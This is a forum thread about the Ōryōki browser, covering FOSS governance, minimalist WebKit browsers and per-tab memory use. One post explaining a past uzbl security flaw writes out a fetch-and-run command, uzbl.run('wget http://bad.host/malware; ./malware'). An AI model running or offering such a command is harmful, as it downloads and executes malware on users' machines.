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Re: Ōryōki Web Browser

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Post by digi_owl »

sangnoir wrote: post #147
digi_owl wrote: post #128

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More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard. And thus they throw manhours upon manhours of churn at whatever market segment they hope to control.

> More and more it feels that corporations have discovered that with FOSS, those that do the work get to define the standard Not quite - those that employ the maintainers define the standard, as shown multiple times by Red Hat (multiple projects) and by Apple with WebKit. IIRC, before the Blink fork, Google was pushing more commits into WebKit compared to Apple, but there was a - let's call it a difference in perspec…

True. But without constant churn alternative implementations of interfaces can catch up.

Re: Ōryōki Web Browser

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Post by throwaway7767 »

wz1000 wrote: post #19

For anyone interested, here are some web browsers that are actually minimalist and not just reskins of chromium: http://surf.suckless.org/ https://fanglingsu.github.io/vimb/ http://www.uzbl.org/

uzbl sounded really cool, but the first major security issue with it made me extremely wary of the project. IIRC, the 'uzbl' object was not properly fenced off from site javascript, so sites one browsed could trivially do the functional equivalent of uzbl.run('wget http://bad.host/malware; ./malware');

I realise every codebase has security bugs, but that one gave me the chills, and suggested that perhaps security approach had not been though through by the devs.

Re: Ōryōki Web Browser

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Post by Touche »

PeCaN wrote: post #154
evv wrote: post #63

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Microsoft uses its own EdgeHTML in the new "Edge" IE

I wish they'd open source EdgeHTML. I suspect it's far lighter than Gecko or WebKit, given that its development basically started with “let's rip out half of Trident”.

It probably only compiles on Windows, though.

Re: Ōryōki Web Browser

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Post by casta »

kornholi wrote: post #64
temp wrote: post #34

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>If your browser is using 50MB of RAM If only that were a relevant remark. The tab with the linked Oryoki web page alone is using 250 megabytes for me. And a second tab of the same page is using an additional 230 megabytes. Somehow I don't think that that's well utilized RAM for the ~350 kilobytes of web content. This page uses 200 megabytes as a tab, and HN isn't exactly a heavy page.

Seriously. I remember having 10s of tabs open in Firefox on an XP machine with 256MB RAM total, and it performed relatively well. At first I was going to blame all of the garbage from rockstar brogrammers, but even the simple HN comment page tab is using 264MB of RAM on macOS. The browser itself uses an additional 208MB according to Chrome's task manager, not counting all of the extensions. Where is it all going? The…

There is a lot of shared memory between renderers and the browser.

Your 208MB might not be additional, but a big subset of it could be shared with the renderer/gpu process.

If you want to know where the memory is going you can go to about://tracing and enable the memory-infra category.

Re: Ōryōki Web Browser

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Post by groovy2shoes »

bpicolo wrote: post #33
wz1000 wrote: post #19

For anyone interested, here are some web browsers that are actually minimalist and not just reskins of chromium: http://surf.suckless.org/ https://fanglingsu.github.io/vimb/ http://www.uzbl.org/

I mean, they all use webkit, so not really that much different from using chromium.

You'd think so (I know I did!), but I was floored the first time I started up Xombrero and saw that with only one tab, it used less than a sixth of the memory that Chromium uses. Xombrero has quickly become my favorite browser, though I only used it in the first place because I couldn't get any other browser that both 1) was not sludge on the Raspberry Pi, and 2) supports the modern Web (HTML5, CSS3, JS, ...).

It's not perfect by any means, but it is now my favorite :)

Re: Ōryōki Web Browser

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Post by groovy2shoes »

Touche wrote: post #72
overcast wrote: post #41

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Sure RAM is meant to be used, but not when the browser just consumes it forever, until it begins grinding to a halt. What could a browser POSSIBLY be doing with 4-500MB of RAM PER TAB? It's a huge problem, and extensions like The Great Suspender should not have to even exist.

Each tab is a separate process. A separating operating system, you could say. Would you complain that your OS needs that much RAM? I wouldn't.

My operating system uses less than a quarter of the memory that a single tab in Chrome uses. And that's with X11 running. (OpenBSD 5.9, btw).

Re: Ōryōki Web Browser

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Post by Touche »

groovy2shoes wrote: post #177
Touche wrote: post #72

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Each tab is a separate process. A separating operating system, you could say. Would you complain that your OS needs that much RAM? I wouldn't.

My operating system uses less than a quarter of the memory that a single tab in Chrome uses. And that's with X11 running. (OpenBSD 5.9, btw).

What's your point?

Re: Ōryōki Web Browser

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Post by groovy2shoes »

Touche wrote: post #178
groovy2shoes wrote: post #177

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My operating system uses less than a quarter of the memory that a single tab in Chrome uses. And that's with X11 running. (OpenBSD 5.9, btw).

What's your point?

My point is that if you think of a browser as an operating system (which I don't), it still uses a ton of RAM, even in that context.

And, for the record, I would complain if my OS was a memory hog.

Now, get off my lawn!

/me shakes his cane at all the youngin's running around with their copious amounts of RAM

:)

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